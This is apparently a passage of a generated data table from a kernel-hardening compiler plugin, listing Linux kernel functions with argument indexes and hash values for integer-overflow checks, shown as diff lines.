++_002605_hash vmw_kms_readback 6 5727 _002605_hash NULL ++_002606_hash do_dmabuf_dirty_ldu 6 52241 _002606_hash NULL ++_002607_hash drm_mode_create_tv_properties 2 23122 _002607_hash NULL ++_002608_hash drm_property_create_enum 5 29201 _002608_hash NULL ++_002609_hash fast_user_write 5 20494 _002609_hash NULL ++_002610_hash fb_alloc_cmap 2 6554 _002610_hash NULL ++_002611_hash i915_gem_execbuffer_relocate_slow 7 25355 _002611_hash NULL ++_002612_hash kgdb_hex2mem 3 24755 _002612_hash NULL ++_002613_hash ttm_object_device_init 2 10321 _002613_hash NULL ++_002614_hash ttm_object_file_init 2 27804 _002614_hash NULL ++_002615_hash vmw_cursor_update_image 3-4 16332 _002615_hash NULL ++_002617_hash vmw_gmr2_bind 3 21305 _002617_hash NULL ++_002618_hash vmw_cursor_update_dmabuf 3-4 32045 _002618_hash NULL ++_002620_hash vmw_gmr_bind 3 44130 _002620_hash NULL ++_002621_hash vmw_du_crtc_cursor_set 4-5 28479 _002621_hash NULL ++_002622_hash __module_alloc 1 50004 _002622_hash NULL ++_002623_hash module_alloc_update_bounds_rw 1 63233 _002623_hash NULL ++_002624_hash module_alloc_update_bounds_rx 1 58634 _002624_hash NULL ++_002625_hash acpi_system_write_alarm 3 40205 _002625_hash NULL ++_002626_hash create_table 2 16213 _002626_hash NULL ++_002627_hash mem_read 3 57631 _002627_hash NULL ++_002628_hash mem_write 3 22232 _002628_hash NULL ++_002629_hash proc_fault_inject_read 3 36802 _002629_hash NULL ++_002630_hash proc_fault_inject_write 3 21058 _002630_hash NULL ++_002631_hash v9fs_fid_readn 4 60544 _002631_hash NULL ++_002632_hash v9fs_file_read 3 40858 _002632_hash NULL ++_002633_hash __devres_alloc 2 25598 _002633_hash NULL ++_002634_hash alloc_dummy_extent_buffer 2 56374 _002634_hash NULL ++_002635_hash alloc_fdtable 1 17389 _002635_hash NULL ++_002636_hash alloc_large_system_hash 2 22391 _002636_hash NULL ++_002637_hash alloc_ldt 2 21972 _002637_hash NULL ++_002638_hash __alloc_skb 1 23940 _002638_hash NULL ++_002639_hash __ata_change_queue_depth 3 23484 _002639_hash NULL ++_002640_hash btrfs_alloc_free_block 3 8986 _002640_hash NULL ++_002641_hash btrfs_find_device_for_logical 2 44993 _002641_hash NULL ++_002642_hash ccid3_hc_rx_getsockopt 3 62331 _002642_hash NULL ++_002643_hash ccid3_hc_tx_getsockopt 3 16314 _002643_hash NULL ++_002644_hash cifs_readdata_alloc 1 26360 _002644_hash NULL ++_002645_hash cistpl_vers_1 4 15023 _002645_hash NULL ++_002646_hash cmm_read 3 57520 _002646_hash NULL ++_002647_hash cosa_read 3 25966 _002647_hash NULL ++_002648_hash dm_table_create 3 35687 _002648_hash NULL ++_002649_hash dpcm_state_read_file 3 65489 _002649_hash NULL ++_002651_hash edac_mc_alloc 4 3611 _002651_hash NULL ++_002652_hash ep0_read 3 38095 _002652_hash NULL ++_002653_hash event_buffer_read 3 48772 _002765_hash NULL nohasharray ++_002654_hash extend_netdev_table 2 21453 _002654_hash NULL ++_002655_hash extract_entropy_user 3 26952 _003616_hash NULL nohasharray ++_002656_hash fcoe_ctlr_device_add 3 1793 _002656_hash NULL ++_002657_hash fd_do_readv 3 51297 _002657_hash NULL ++_002658_hash fd_do_writev 3 29329 _002658_hash NULL ++_002659_hash ffs_ep0_read 3 2672 _002659_hash NULL ++_002660_hash fill_readbuf 3 32464 _002660_hash NULL ++_002661_hash fw_iso_buffer_alloc 2 13704 _002661_hash NULL ++_002662_hash get_fd_set 1 3866 _002662_hash NULL ++_002663_hash hidraw_report_event 3 20503 _002663_hash NULL ++_002664_hash ieee80211_if_read_ht_opmode 3 29044 _002664_hash NULL ++_002665_hash ieee80211_if_read_num_mcast_sta 3 12419 _002665_hash NULL ++_002666_hash iwl_dbgfs_calib_disabled_read 3 22649 _002666_hash NULL ++_002667_hash iwl_dbgfs_rf_reset_read 3 26512 _002667_hash NULL ++_002668_hash ixgbe_alloc_q_vector 4-6 24439 _002668_hash NULL ++_002670_hash joydev_handle_JSIOCSAXMAP 3 48898 _002836_hash NULL nohasharray ++_002671_hash joydev_handle_JSIOCSBTNMAP 3 15643 _002671_hash NULL ++_002672_hash __kfifo_from_user_r 3 60345 _002672_hash NULL ++_002673_hash kstrtoint_from_user 2 8778 _002673_hash NULL ++_002674_hash kstrtol_from_user 2 10168 _002674_hash NULL ++_002675_hash kstrtoll_from_user 2 19500 _002675_hash NULL ++_002676_hash kstrtos16_from_user 2 28300 _002676_hash NULL ++_002677_hash kstrtos8_from_user 2 58268 _002677_hash NULL ++_002678_hash kstrtou16_from_user 2 54274 _002678_hash NULL ++_002679_hash kstrtou8_from_user 2 55599 _002679_hash NULL ++_002680_hash kstrtouint_from_user 2 10536 _002680_hash NULL ++_002681_hash kstrtoul_from_user 2 64569 _002681_hash NULL ++_002682_hash kstrtoull_from_user 2 63026 _002682_hash NULL ++_002683_hash l2cap_create_iframe_pdu 3 40055 _002683_hash NULL ++_002684_hash l2tp_ip6_recvmsg 4 62874 _002684_hash NULL ++_002685_hash mem_cgroup_read 5 22461 _002685_hash NULL ++_002686_hash nfs_fscache_get_super_cookie 3 44355 _002686_hash &_001648_hash ++_002687_hash nfs_pgarray_set 2 1085 _002687_hash NULL ++_002688_hash ntfs_rl_realloc 3 56831 _002688_hash &_000363_hash ++_002689_hash ntfs_rl_realloc_nofail 3 32173 _002689_hash NULL ++_002690_hash pn533_dep_link_up 5 22154 _002690_hash NULL ++_002691_hash port_fops_write 3 54627 _002691_hash NULL ++_002692_hash ptp_read 4 63251 _002692_hash NULL ++_002693_hash qla4xxx_change_queue_depth 2 1268 _002693_hash NULL ++_002694_hash reqsk_queue_alloc 2 40272 _002694_hash NULL ++_002695_hash resize_info_buffer 2 62889 _002695_hash NULL ++_002696_hash rfkill_fop_write 3 64808 _002696_hash NULL ++_002697_hash rt2x00debug_write_rfcsr 3 41473 _002697_hash NULL ++_002698_hash rvmalloc 1 46873 _002698_hash NULL ++_002699_hash rw_copy_check_uvector 3 45748 _003398_hash NULL nohasharray ++_002700_hash sctp_getsockopt_active_key 2 45483 _002700_hash NULL ++_002701_hash sctp_getsockopt_adaptation_layer 2 45375 _002701_hash NULL ++_002702_hash sctp_getsockopt_assoc_ids 2 9043 _002702_hash NULL ++_002703_hash sctp_getsockopt_associnfo 2 58169 _002703_hash NULL ++_002704_hash sctp_getsockopt_assoc_number 2 6384 _002704_hash NULL ++_002705_hash sctp_getsockopt_auto_asconf 2 46584 _002705_hash NULL ++_002706_hash sctp_getsockopt_context 2 52490 _002706_hash NULL ++_002707_hash sctp_getsockopt_default_send_param 2 63056 _002707_hash NULL ++_002708_hash sctp_getsockopt_disable_fragments 2 12330 _002708_hash NULL ++_002709_hash sctp_getsockopt_fragment_interleave 2 51215 _002709_hash NULL ++_002710_hash sctp_getsockopt_initmsg 2 26042 _002710_hash NULL ++_002711_hash sctp_getsockopt_mappedv4 2 20044 _002711_hash NULL ++_002712_hash sctp_getsockopt_nodelay 2 9560 _002712_hash NULL ++_002713_hash sctp_getsockopt_partial_delivery_point 2 60952 _002713_hash NULL ++_002714_hash sctp_getsockopt_peeloff 2 59190 _002714_hash NULL ++_002715_hash sctp_getsockopt_peer_addr_info 2 6024 _002715_hash NULL ++_002716_hash sctp_getsockopt_peer_addr_params 2 53645 _002716_hash NULL ++_002717_hash sctp_getsockopt_primary_addr 2 24639 _002717_hash NULL ++_002718_hash sctp_getsockopt_rtoinfo 2 62027 _002718_hash NULL ++_002719_hash sctp_getsockopt_sctp_status 2 56540 _002719_hash NULL ++_002720_hash self_check_write 5 50856 _002720_hash NULL ++_002721_hash smk_read_mapped 3 7562 _002721_hash NULL ++_002722_hash smk_set_cipso 3 20379 _002722_hash NULL ++_002723_hash smk_user_access 3 24440 _002723_hash NULL ++_002724_hash smk_write_mapped 3 13519 _002724_hash NULL ++_002725_hash smk_write_rules_list 3 18565 _002725_hash NULL ++_002726_hash snd_mixart_BA0_read 5 45069 _002726_hash NULL ++_002727_hash snd_mixart_BA1_read 5 5082 _002727_hash NULL ++_002728_hash snd_pcm_oss_read2 3 54387 _002728_hash NULL ++_002729_hash syslog_print 2 307 _002729_hash NULL ++_002730_hash tcp_dma_try_early_copy 3 4457 _002730_hash NULL ++_002731_hash tcp_send_rcvq 3 11316 _002731_hash NULL ++_002732_hash tomoyo_init_log 2 61526 _002732_hash NULL ++_002733_hash ubi_dump_flash 4 46381 _002733_hash NULL ++_002734_hash ubi_eba_atomic_leb_change 5 60379 _002734_hash NULL ++_002735_hash ubi_eba_write_leb 5-6 36029 _002735_hash NULL ++_002737_hash ubi_eba_write_leb_st 5 44343 _002737_hash NULL ++_002738_hash ubi_self_check_all_ff 4 41959 _002738_hash NULL ++_002739_hash unix_bind 3 15668 _002739_hash NULL ++_002740_hash usbvision_rvmalloc 1 19655 _002740_hash NULL ++_002742_hash v4l2_ctrl_new 7 24927 _002742_hash NULL ++_002743_hash v4l2_event_subscribe 3 53687 _002743_hash NULL ++_002744_hash v9fs_direct_read 3 45546 _002744_hash NULL ++_002745_hash v9fs_file_readn 4 36353 _002745_hash &_001606_hash ++_002746_hash __videobuf_alloc_vb 1 5665 _002746_hash NULL ++_002747_hash wm8350_write 3 24480 _002747_hash NULL ++_002748_hash xfs_buf_read_uncached 3 42844 _002748_hash NULL ++_002749_hash yurex_write 3 8761 _002749_hash NULL ++_002750_hash alloc_skb 1 55439 _002750_hash NULL ++_002751_hash alloc_skb_fclone 1 3467 _002751_hash NULL ++_002752_hash ata_scsi_change_queue_depth 2 23126 _002752_hash NULL ++_002753_hash ath6kl_disconnect_timeout_write 3 794 _002753_hash NULL ++_002754_hash ath6kl_keepalive_write 3 45600 _002754_hash NULL ++_002755_hash ath6kl_lrssi_roam_write 3 8362 _002755_hash NULL ++_002756_hash ath6kl_regread_write 3 14220 _002756_hash NULL ++_002757_hash core_sys_select 1 47494 _002757_hash NULL ++_002758_hash do_syslog 3 56807 _002758_hash NULL ++_002759_hash expand_fdtable 2 39273 _002759_hash NULL ++_002760_hash fd_execute_cmd 3 1132 _002760_hash NULL ++_002761_hash get_chars 3 40373 _002761_hash NULL ++_002762_hash hid_report_raw_event 4 2762 _002762_hash NULL ++_002763_hash inet_csk_listen_start 2 38233 _002763_hash NULL ++_002764_hash kstrtou32_from_user 2 30361 _002764_hash NULL ++_002765_hash l2cap_segment_sdu 4 48772 _002765_hash &_002653_hash ++_002766_hash __netdev_alloc_skb 2 18595 _002766_hash NULL ++_002767_hash nfs_readdata_alloc 2 65015 _002767_hash NULL ++_002768_hash nfs_writedata_alloc 2 12133 _002768_hash NULL ++_002769_hash ntfs_rl_append 2-4 6037 _002769_hash NULL ++_002771_hash ntfs_rl_insert 2-4 4931 _002771_hash NULL ++_002773_hash ntfs_rl_replace 2-4 14136 _002773_hash NULL ++_002775_hash ntfs_rl_split 2-4 52328 _002775_hash NULL ++_002777_hash port_fops_read 3 49626 _002777_hash NULL ++_002778_hash random_read 3 13815 _002778_hash NULL ++_002779_hash sg_proc_write_adio 3 45704 _002779_hash NULL ++_002780_hash sg_proc_write_dressz 3 46316 _002780_hash NULL ++_002781_hash tcp_sendmsg 4 30296 _002781_hash NULL ++_002782_hash tomoyo_write_log2 2 34318 _002782_hash NULL ++_002783_hash ubi_leb_change 4 10289 _002783_hash NULL ++_002784_hash ubi_leb_write 4-5 5478 _002784_hash NULL ++_002786_hash urandom_read 3 30462 _002786_hash NULL ++_002787_hash v9fs_cached_file_read 3 2514 _002787_hash NULL ++_002788_hash __videobuf_alloc_cached 1 12740 _002788_hash NULL ++_002789_hash __videobuf_alloc_uncached 1 55711 _002789_hash NULL ++_002790_hash wm8350_block_write 3 19727 _002790_hash NULL ++_002791_hash alloc_tx 2 32143 _002791_hash NULL ++_002792_hash alloc_wr 1-2 24635 _002792_hash NULL ++_002794_hash ath6kl_endpoint_stats_write 3 59621 _002794_hash NULL ++_002795_hash ath6kl_fwlog_mask_write 3 24810 _002795_hash NULL ++_002796_hash ath9k_wmi_cmd 4 327 _002796_hash NULL ++_002797_hash atm_alloc_charge 2 19517 _002879_hash NULL nohasharray ++_002798_hash ax25_output 2 22736 _002798_hash NULL ++_002799_hash bcsp_prepare_pkt 3 12961 _002799_hash NULL ++_002800_hash bt_skb_alloc 1 6404 _002800_hash NULL ++_002801_hash capinc_tty_write 3 28539 _002801_hash NULL ++_002802_hash cfpkt_create_pfx 1-2 23594 _002802_hash NULL ++_002804_hash cmd_complete 6 51629 _002804_hash NULL ++_002805_hash cmtp_add_msgpart 4 9252 _002805_hash NULL ++_002806_hash cmtp_send_interopmsg 7 376 _002806_hash NULL ++_002807_hash cxgb3_get_cpl_reply_skb 2 10620 _002807_hash NULL ++_002808_hash dbg_leb_change 4 23555 _002808_hash NULL ++_002809_hash dbg_leb_write 4-5 63555 _002809_hash &_000940_hash ++_002811_hash dccp_listen_start 2 35918 _002811_hash NULL ++_002812_hash __dev_alloc_skb 1 28681 _002812_hash NULL ++_002813_hash diva_os_alloc_message_buffer 1 64568 _002813_hash NULL ++_002814_hash dn_alloc_skb 2 6631 _002814_hash NULL ++_002815_hash do_pselect 1 62061 _002815_hash NULL ++_002816_hash _fc_frame_alloc 1 43568 _002816_hash NULL ++_002817_hash find_skb 2 20431 _002817_hash NULL ++_002818_hash fm_send_cmd 5 39639 _002818_hash NULL ++_002819_hash gem_alloc_skb 2 51715 _002819_hash NULL ++_002820_hash get_packet 3 41914 _002820_hash NULL ++_002821_hash get_packet 3 5747 _002821_hash NULL ++_002822_hash get_packet_pg 4 28023 _002822_hash NULL ++_002823_hash get_skb 2 63008 _002823_hash NULL ++_002824_hash hidp_queue_report 3 1881 _002824_hash NULL ++_002825_hash __hidp_send_ctrl_message 4 28303 _002825_hash NULL ++_002826_hash hycapi_rx_capipkt 3 11602 _002826_hash NULL ++_002827_hash i2400m_net_rx 5 27170 _002827_hash NULL ++_002828_hash igmpv3_newpack 2 35912 _002828_hash NULL ++_002829_hash inet_listen 2 14723 _002829_hash NULL ++_002830_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _002830_hash &_001724_hash ++_002831_hash isdn_ppp_ccp_xmit_reset 6 63297 _002831_hash NULL ++_002832_hash kmsg_read 3 46514 _002832_hash NULL ++_002833_hash _l2_alloc_skb 1 11883 _002833_hash NULL ++_002834_hash l3_alloc_skb 1 32289 _002834_hash NULL ++_002835_hash llc_alloc_frame 4 64366 _002835_hash NULL ++_002836_hash mac_drv_rx_init 2 48898 _002836_hash &_002670_hash ++_002837_hash mgmt_event 4 12810 _002837_hash NULL ++_002838_hash mI_alloc_skb 1 24770 _002838_hash NULL ++_002839_hash nci_skb_alloc 2 49757 _002839_hash NULL ++_002840_hash netdev_alloc_skb 2 62437 _002840_hash NULL ++_002841_hash __netdev_alloc_skb_ip_align 2 55067 _002841_hash NULL ++_002842_hash new_skb 1 21148 _002842_hash NULL ++_002843_hash nfc_alloc_recv_skb 1 10244 _002843_hash NULL ++_002844_hash nfcwilink_skb_alloc 1 16167 _002844_hash NULL ++_002845_hash nfulnl_alloc_skb 2 65207 _002845_hash NULL ++_002846_hash ni65_alloc_mem 3 10664 _002846_hash NULL ++_002847_hash pep_alloc_skb 3 46303 _002847_hash NULL ++_002848_hash pn_raw_send 2 54330 _002848_hash NULL ++_002849_hash __pskb_copy 2 9038 _002849_hash NULL ++_002850_hash refill_pool 2 19477 _002850_hash NULL ++_002851_hash rfcomm_wmalloc 2 58090 _002851_hash NULL ++_002852_hash rx 4 57944 _002852_hash NULL ++_002853_hash sctp_ulpevent_new 1 33377 _002853_hash NULL ++_002854_hash send_command 4 10832 _002854_hash NULL ++_002855_hash skb_copy_expand 2-3 7685 _002855_hash &_000671_hash ++_002857_hash sk_stream_alloc_skb 2 57622 _002857_hash NULL ++_002858_hash sock_alloc_send_pskb 2 21246 _002858_hash NULL ++_002859_hash sock_rmalloc 2 59740 _002859_hash &_002157_hash ++_002860_hash sock_wmalloc 2 16472 _002860_hash NULL ++_002861_hash solos_param_store 4 34755 _002861_hash NULL ++_002862_hash sys_select 1 38827 _002862_hash NULL ++_002863_hash sys_syslog 3 10746 _002863_hash NULL ++_002864_hash t4vf_pktgl_to_skb 2 39005 _002864_hash NULL ++_002865_hash tcp_collapse 5-6 63294 _002865_hash NULL ++_002867_hash tipc_cfg_reply_alloc 1 27606 _002867_hash NULL ++_002868_hash ubifs_leb_change 4 17789 _002868_hash NULL ++_002869_hash ubifs_leb_write 4-5 22679 _002869_hash NULL ++_002871_hash ulog_alloc_skb 1 23427 _002871_hash NULL ++_002872_hash _alloc_mISDN_skb 3 52232 _002872_hash NULL ++_002873_hash ath9k_multi_regread 4 65056 _002873_hash NULL ++_002874_hash ath_rxbuf_alloc 2 24745 _002874_hash NULL ++_002875_hash ax25_send_frame 2 19964 _002875_hash NULL ++_002876_hash bchannel_get_rxbuf 2 37213 _002876_hash NULL ++_002877_hash cfpkt_create 1 18197 _002877_hash NULL ++_002878_hash console_store 4 36007 _002878_hash NULL ++_002879_hash dev_alloc_skb 1 19517 _002879_hash &_002797_hash ++_002880_hash dn_nsp_do_disc 2-6 49474 _002880_hash NULL ++_002882_hash do_write_orph_node 2 64343 _002882_hash NULL ++_002883_hash dsp_cmx_send_member 2 15625 _002883_hash NULL ++_002884_hash fc_frame_alloc 2 1596 _002884_hash NULL ++_002885_hash fc_frame_alloc_fill 2 59394 _002885_hash NULL ++_002886_hash fmc_send_cmd 5 20435 _002886_hash NULL ++_002887_hash hci_send_cmd 3 43810 _002887_hash NULL ++_002888_hash hci_si_event 3 1404 _002888_hash NULL ++_002889_hash hfcpci_empty_bfifo 4 62323 _002889_hash NULL ++_002890_hash hidp_send_ctrl_message 4 43702 _002890_hash NULL ++_002891_hash hysdn_sched_rx 3 60533 _002891_hash NULL ++_002892_hash inet_dccp_listen 2 28565 _002892_hash NULL ++_002893_hash ip6_append_data 4-5 36490 _002893_hash NULL ++_002894_hash __ip_append_data 7-8 36191 _002894_hash NULL ++_002895_hash l1oip_socket_recv 6 56537 _002895_hash NULL ++_002896_hash l2cap_build_cmd 4 48676 _002896_hash NULL ++_002897_hash l2down_create 4 21755 _002897_hash NULL ++_002898_hash l2up_create 3 6430 _002898_hash NULL ++_002899_hash ldisc_receive 4 41516 _002899_hash NULL ++_002902_hash lro_gen_skb 6 2644 _002902_hash NULL ++_002903_hash macvtap_alloc_skb 2-4-3 50629 _002903_hash NULL ++_002906_hash mgmt_device_found 10 14146 _002906_hash NULL ++_002907_hash nci_send_cmd 3 58206 _002907_hash NULL ++_002908_hash netdev_alloc_skb_ip_align 2 40811 _002908_hash NULL ++_002909_hash nfcwilink_send_bts_cmd 3 10802 _002909_hash NULL ++_002910_hash nfqnl_mangle 2 14583 _002910_hash NULL ++_002911_hash p54_alloc_skb 3 34366 _002911_hash &_000475_hash ++_002912_hash packet_alloc_skb 2-5-4 62602 _002912_hash NULL ++_002915_hash pep_indicate 5 38611 _002915_hash NULL ++_002916_hash pep_reply 5 50582 _002916_hash NULL ++_002917_hash pipe_handler_request 5 50774 _002917_hash &_001189_hash ++_002918_hash ql_process_mac_rx_page 4 15543 _002918_hash NULL ++_002919_hash ql_process_mac_rx_skb 4 6689 _002919_hash NULL ++_002920_hash rfcomm_tty_write 3 51603 _002920_hash NULL ++_002921_hash send_mpa_reject 3 7135 _002921_hash NULL ++_002922_hash send_mpa_reply 3 32372 _002922_hash NULL ++_002923_hash set_rxd_buffer_pointer 8 9950 _002923_hash NULL ++_002924_hash sge_rx 3 50594 _002924_hash NULL ++_002925_hash skb_cow_data 2 11565 _002925_hash NULL ++_002926_hash smp_build_cmd 3 45853 _002926_hash NULL ++_002927_hash sock_alloc_send_skb 2 23720 _002927_hash NULL ++_002928_hash sys_pselect6 1 57449 _002928_hash NULL ++_002929_hash tcp_fragment 3 20436 _002929_hash NULL ++_002930_hash teiup_create 3 43201 _002930_hash NULL ++_002931_hash tg3_run_loopback 2 30093 _002931_hash NULL ++_002932_hash tun_alloc_skb 2-4-3 41216 _002932_hash NULL ++_002935_hash ubifs_write_node 5-3 11258 _002935_hash NULL ++_002936_hash use_pool 2 64607 _002936_hash NULL ++_002937_hash vxge_rx_alloc 3 52024 _002937_hash NULL ++_002938_hash add_packet 3 54433 _002938_hash NULL ++_002939_hash add_rx_skb 3 8257 _002939_hash NULL ++_002940_hash ath6kl_buf_alloc 1 57304 _002940_hash NULL ++_002941_hash bat_iv_ogm_aggregate_new 2 2620 _002941_hash NULL ++_002942_hash bnx2fc_process_l2_frame_compl 3 65072 _002942_hash NULL ++_002943_hash brcmu_pkt_buf_get_skb 1 5556 _002943_hash NULL ++_002944_hash br_send_bpdu 3 29669 _002944_hash NULL ++_002945_hash bt_skb_send_alloc 2 6581 _002945_hash NULL ++_002946_hash c4iw_reject_cr 3 28174 _002946_hash NULL ++_002947_hash carl9170_rx_copy_data 2 21656 _002947_hash NULL ++_002948_hash cfpkt_add_body 3 44630 _002948_hash NULL ++_002949_hash cfpkt_append 3 61206 _002949_hash NULL ++_002950_hash cosa_net_setup_rx 2 38594 _002950_hash NULL ++_002951_hash cxgb4_pktgl_to_skb 2 61899 _002951_hash NULL ++_002952_hash dn_alloc_send_pskb 2 4465 _002952_hash NULL ++_002953_hash dn_nsp_return_disc 2 60296 _002953_hash NULL ++_002954_hash dn_nsp_send_disc 2 23469 _002954_hash NULL ++_002955_hash dsp_tone_hw_message 3 17678 _002955_hash NULL ++_002956_hash dvb_net_sec 3 37884 _002956_hash NULL ++_002957_hash e1000_check_copybreak 3 62448 _002957_hash NULL ++_002958_hash fast_rx_path 3 59214 _002958_hash NULL ++_002959_hash fc_fcp_frame_alloc 2 12624 _002959_hash NULL ++_002960_hash fcoe_ctlr_send_keep_alive 3 15308 _002960_hash NULL ++_002961_hash fwnet_incoming_packet 3 40380 _002961_hash NULL ++_002962_hash fwnet_pd_new 4 39947 _002962_hash NULL ++_002963_hash got_frame 2 16028 _002963_hash NULL ++_002964_hash gsm_mux_rx_netchar 3 33336 _002964_hash NULL ++_002965_hash hdlcdev_rx 3 997 _002965_hash NULL ++_002966_hash hdlc_empty_fifo 2 18397 _002966_hash NULL ++_002967_hash hfc_empty_fifo 2 57972 _002967_hash NULL ++_002968_hash hfcpci_empty_fifo 4 2427 _002968_hash NULL ++_002969_hash hfcsusb_rx_frame 3 52745 _002969_hash NULL ++_002970_hash hidp_output_raw_report 3 5629 _002970_hash NULL ++_002971_hash hscx_empty_fifo 2 13360 _002971_hash NULL ++_002972_hash hysdn_rx_netpkt 3 16136 _002972_hash NULL ++_002973_hash ieee80211_fragment 4 33112 _002973_hash NULL ++_002974_hash ieee80211_probereq_get 4-6 29069 _002974_hash NULL ++_002976_hash ieee80211_send_auth 5 24121 _002976_hash NULL ++_002977_hash ieee80211_set_probe_resp 3 10077 _002977_hash NULL ++_002978_hash ieee80211_tdls_mgmt 8 9581 _002978_hash NULL ++_002979_hash ip6_ufo_append_data 5-7-6 4780 _002979_hash NULL ++_002982_hash ip_ufo_append_data 6-8-7 12775 _002982_hash NULL ++_002985_hash ipw_packet_received_skb 2 1230 _002985_hash NULL ++_002986_hash iwch_reject_cr 3 23901 _002986_hash NULL ++_002987_hash iwm_rx_packet_alloc 3 9898 _002987_hash NULL ++_002988_hash ixgb_check_copybreak 3 5847 _002988_hash NULL ++_002989_hash l1oip_socket_parse 4 4507 _002989_hash NULL ++_002990_hash l2cap_send_cmd 4 14548 _002990_hash NULL ++_002991_hash l2tp_ip6_sendmsg 4 7461 _002991_hash NULL ++_002993_hash lowpan_fragment_xmit 3-4 22095 _002993_hash NULL ++_002996_hash mcs_unwrap_fir 3 25733 _002996_hash NULL ++_002997_hash mcs_unwrap_mir 3 9455 _002997_hash NULL ++_002998_hash mld_newpack 2 50950 _002998_hash NULL ++_002999_hash nfc_alloc_send_skb 4 3167 _002999_hash NULL ++_003000_hash p54_download_eeprom 4 43842 _003000_hash NULL ++_003002_hash ppp_tx_cp 5 62044 _003002_hash NULL ++_003003_hash prism2_send_mgmt 4 62605 _003003_hash &_001876_hash ++_003004_hash prism2_sta_send_mgmt 5 43916 _003004_hash NULL ++_003005_hash _queue_data 4 54983 _003005_hash NULL ++_003006_hash read_dma 3 55086 _003006_hash NULL ++_003007_hash read_fifo 3 826 _003007_hash NULL ++_003008_hash receive_copy 3 12216 _003008_hash NULL ++_003009_hash rtl8169_try_rx_copy 3 705 _003009_hash NULL ++_003010_hash _rtl92s_firmware_downloadcode 3 14021 _003010_hash NULL ++_003011_hash rx_data 4 60442 _003011_hash NULL ++_003012_hash sis190_try_rx_copy 3 57069 _003012_hash NULL ++_003013_hash skge_rx_get 3 40598 _003013_hash NULL ++_003014_hash tcp_mark_head_lost 2 35895 _003014_hash NULL ++_003015_hash tcp_match_skb_to_sack 3-4 23568 _003015_hash NULL ++_003017_hash tso_fragment 3 29050 _003017_hash NULL ++_003018_hash tt_response_fill_table 1 57902 _003018_hash NULL ++_003020_hash udpv6_sendmsg 4 22316 _003020_hash NULL ++_003021_hash velocity_rx_copy 2 34583 _003021_hash NULL ++_003022_hash W6692_empty_Bfifo 2 47804 _003022_hash NULL ++_003023_hash zd_mac_rx 3 38296 _003023_hash NULL ++_003024_hash ath6kl_wmi_get_new_buf 1 52304 _003024_hash NULL ++_003025_hash bat_iv_ogm_queue_add 3 30870 _003025_hash NULL ++_003026_hash brcmf_alloc_pkt_and_read 2 63116 _003026_hash &_001808_hash ++_003027_hash brcmf_sdcard_recv_buf 6 38179 _003027_hash NULL ++_003028_hash brcmf_sdcard_rwdata 5 65041 _003028_hash NULL ++_003029_hash brcmf_sdcard_send_buf 6 7713 _003029_hash NULL ++_003030_hash carl9170_handle_mpdu 3 11056 _003030_hash NULL ++_003031_hash cfpkt_add_trail 3 27260 _003031_hash NULL ++_003032_hash cfpkt_pad_trail 2 55511 _003032_hash NULL ++_003033_hash dvb_net_sec_callback 2 28786 _003033_hash NULL ++_003034_hash fwnet_receive_packet 9 50537 _003034_hash NULL ++_003035_hash handle_rx_packet 3 58993 _003035_hash NULL ++_003036_hash HDLC_irq 2 8709 _003036_hash NULL ++_003037_hash hdlc_rpr_irq 2 10240 _003037_hash NULL ++_003043_hash ipwireless_network_packet_received 4 51277 _003043_hash NULL ++_003044_hash l2cap_bredr_sig_cmd 3 49065 _003044_hash NULL ++_003045_hash l2cap_sock_alloc_skb_cb 2 33532 _003045_hash NULL ++_003046_hash llcp_allocate_pdu 3 19866 _003046_hash NULL ++_003047_hash ppp_cp_event 6 2965 _003047_hash NULL ++_003048_hash receive_client_update_packet 3 49104 _003048_hash NULL ++_003049_hash receive_server_sync_packet 3 59021 _003049_hash NULL ++_003050_hash sky2_receive 2 13407 _003050_hash NULL ++_003051_hash tcp_sacktag_walk 5-6 49703 _003051_hash NULL ++_003053_hash tcp_write_xmit 2 64602 _003053_hash NULL ++_003054_hash ath6kl_wmi_add_wow_pattern_cmd 4 12842 _003054_hash NULL ++_003055_hash ath6kl_wmi_beginscan_cmd 8 25462 _003055_hash NULL ++_003056_hash ath6kl_wmi_send_probe_response_cmd 6 31728 _003056_hash NULL ++_003057_hash ath6kl_wmi_set_appie_cmd 5 39266 _003057_hash NULL ++_003058_hash ath6kl_wmi_set_ie_cmd 6 37260 _003058_hash NULL ++_003059_hash ath6kl_wmi_startscan_cmd 8 33674 _003059_hash NULL ++_003060_hash ath6kl_wmi_test_cmd 3 27312 _003060_hash NULL ++_003061_hash brcmf_sdbrcm_membytes 3-5 37324 _003061_hash NULL ++_003063_hash brcmf_sdbrcm_read_control 3 22721 _003063_hash NULL ++_003064_hash brcmf_tx_frame 3 20978 _003064_hash NULL ++_003065_hash __carl9170_rx 3 56784 _003065_hash NULL ++_003066_hash cfpkt_setlen 2 49343 _003066_hash NULL ++_003067_hash hdlc_irq_one 2 3944 _003067_hash NULL ++_003069_hash tcp_push_one 2 48816 _003069_hash NULL ++_003070_hash __tcp_push_pending_frames 2 48148 _003070_hash NULL ++_003071_hash brcmf_sdbrcm_bus_txctl 3 42492 _003071_hash NULL ++_003072_hash carl9170_rx 3 13272 _003072_hash NULL ++_003073_hash carl9170_rx_stream 3 1334 _003073_hash NULL ++_003074_hash tcp_push 3 10680 _003074_hash NULL ++_003075_hash create_log 2 8225 _003075_hash NULL ++_003076_hash expand_files 2 17080 _003076_hash NULL ++_003077_hash iio_device_alloc 1 41440 _003077_hash NULL ++_003078_hash OS_mem_token_alloc 1 14276 _003078_hash NULL ++_003079_hash packet_came 3 18072 _003079_hash NULL ++_003080_hash softsynth_write 3 3455 _003080_hash NULL ++_003081_hash alloc_fd 1 37637 _003081_hash NULL ++_003082_hash sys_dup3 2 33421 _003082_hash NULL ++_003083_hash do_fcntl 3 31468 _003083_hash NULL ++_003084_hash sys_dup2 2 25284 _003084_hash NULL ++_003085_hash sys_fcntl 3 19267 _003085_hash NULL ++_003086_hash sys_fcntl64 3 29031 _003086_hash NULL ++_003087_hash cmpk_message_handle_tx 4 54024 _003087_hash NULL ++_003088_hash comedi_buf_alloc 3 24822 _003088_hash NULL ++_003089_hash compat_rw_copy_check_uvector 3 22001 _003089_hash &_001989_hash ++_003090_hash compat_sys_fcntl64 3 60256 _003090_hash NULL ++_003091_hash evtchn_write 3 43278 _003091_hash NULL ++_003092_hash fw_download_code 3 13249 _003092_hash NULL ++_003093_hash fwSendNullPacket 2 54618 _003093_hash NULL ++_003095_hash ieee80211_authentication_req 3 63973 _003095_hash NULL ++_003097_hash rtllib_authentication_req 3 26713 _003097_hash NULL ++_003098_hash SendTxCommandPacket 3 42901 _003098_hash NULL ++_003099_hash snd_nm256_capture_copy 5 28622 _003099_hash 